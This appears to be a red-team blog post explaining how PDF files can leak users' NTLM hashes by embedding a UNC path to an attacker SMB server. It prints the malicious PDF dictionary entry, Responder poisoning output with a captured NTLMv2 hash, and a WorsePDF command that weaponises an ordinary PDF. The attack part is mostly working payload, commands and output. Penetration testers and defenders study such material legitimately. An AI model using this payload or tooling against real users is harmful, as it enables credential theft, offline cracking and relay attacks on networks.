PDF - NTLM Hashes



May 9, 2018

Client side attacks are heavily used in red team engagements as they can allow the red team to execute arbitrary code or retrieve password hashes. Usually Microsoft office products are used to perform these kind of attacks however PDF documents can be also utilized for obtaining NTLM hashes of users without triggering any alerts.

Check Point researchers discovered that it is possible to utilize the dictionary objects of a PDF file in order to embed a UNC path. As with similar others attacks when the user will open the file an authentication attempt to that path will happen on the background with the current users credentials. An attacker who monitors the traffic can capture the NTLM hash. Further details can be found in the checkpoint website and the image below is the section that demonstrates the required entries and is taken from checkpoint website for clarification purposes.

```
/AA <<
//o <</pre>
// // (\\\\ <attacker_smb_server> \\ <dummy_file>)
/p [ 0 /Fit ]
/s /GoToE
>>>
```

PDF - Injected with SMB Location

As a proof of concept of this attack <u>DeepZec</u> developed <u>Bad-PDF</u> which can generate a malicious PDF file and start responder automatically to capture the hashes of the users that will open the file.

Bad-PDF

When the IP of the attacker host, the file name and the listening interface is configured responder will initiate:

```
[+] HTTP Options:
    Always serving EXE
    Serving EXE
    Serving HTML
    Upstream Proxy
[+] Poisoning Options:
    Analyze Mode
    Force WPAD auth
                                [ON]
    Force Basic Auth
                                [OFF]
    Force LM downgrade
    Fingerprint hosts
[+] Generic Options:
    Responder NIC
                                [eth0]
    Responder IP
                                [10.0.0.2]
    Challenge set
                                [random]
    Don't Respond To Names
                                ['ISATAP']
[+] Listening for events...
```

Bad-PDF – Responder

When the user will open the PDF file the password hash will be captured in Responder which can then be used for offline password cracking or relay attacks to gain access to hosts and network resources.

```
*] Skipping previously captured hash for PENTESTLAB\test
*] [NBT-NS] Poisoned answer sent to 10.0.0.3 for name ARMMF.ADOBE.COM (service:
Workstation/Redirector)
[*] [NBT-NS] Poisoned answer sent to 10.0.0.3 for name PENTESTLAB (service: Doma
in Master Browser)
[*] [NBT-NS] Poisoned answer sent to 10.0.0.3 for name PENTESTLAB (service: Doma
in Controller)
[*] [LLMNR] Poisoned answer sent to 10.0.0.3 for name wpad
[SMBv2] NTLMv2-SSP Client : 10.0.0.3
[SMBv2] NTLMv2-SSP Username : PENTESTLAB\john
[SMBv2] NTLMv2-SSP Hash : john::PENTESTLAB:c07533f2540ed3b0:62AC62E2A105EDB
:5AC52AA55D5B25E:0101000000000000C0653150DE09D201359762CBEE70FC740000000020008
53004D004200330001001E00570049004E002D0050005200480034003900320052005100410046
56000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D0050
52004800340039003200520051004100460056002E0053004D00420033002E006C006F006300610
6C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D20106
```

NTLM Hash via PDF

<u>3gstudent</u> developed <u>WorsePDF</u> in python which can weaponise a legitimate PDF file with the technique that checkpoint researchers discovered to retrieve NTLM hashes. The script takes only two arguments: the path of the legitimate PDF and the IP address of the server host.

```
root@kali:~# python WorsePDF.py Normal.pdf 10.0.0.2
WorsePDF - Turn a normal PDF file into malicious.Use to steal Net-NTLM Hashes fr
om windows machines.
Reference :
    https://research.checkpoint.com/ntlm-credentials-theft-via-pdf-files/
    https://github.com/deepzec/Bad-Pdf
Author: 3gstudent

[*]NormalPDF: Normal.pdf
[*]ServerIP: 10.0.0.2
[+]MaliciousPDF: Normal.pdf.malicious.pdf
[*]All Done __
```

WorsePDF

References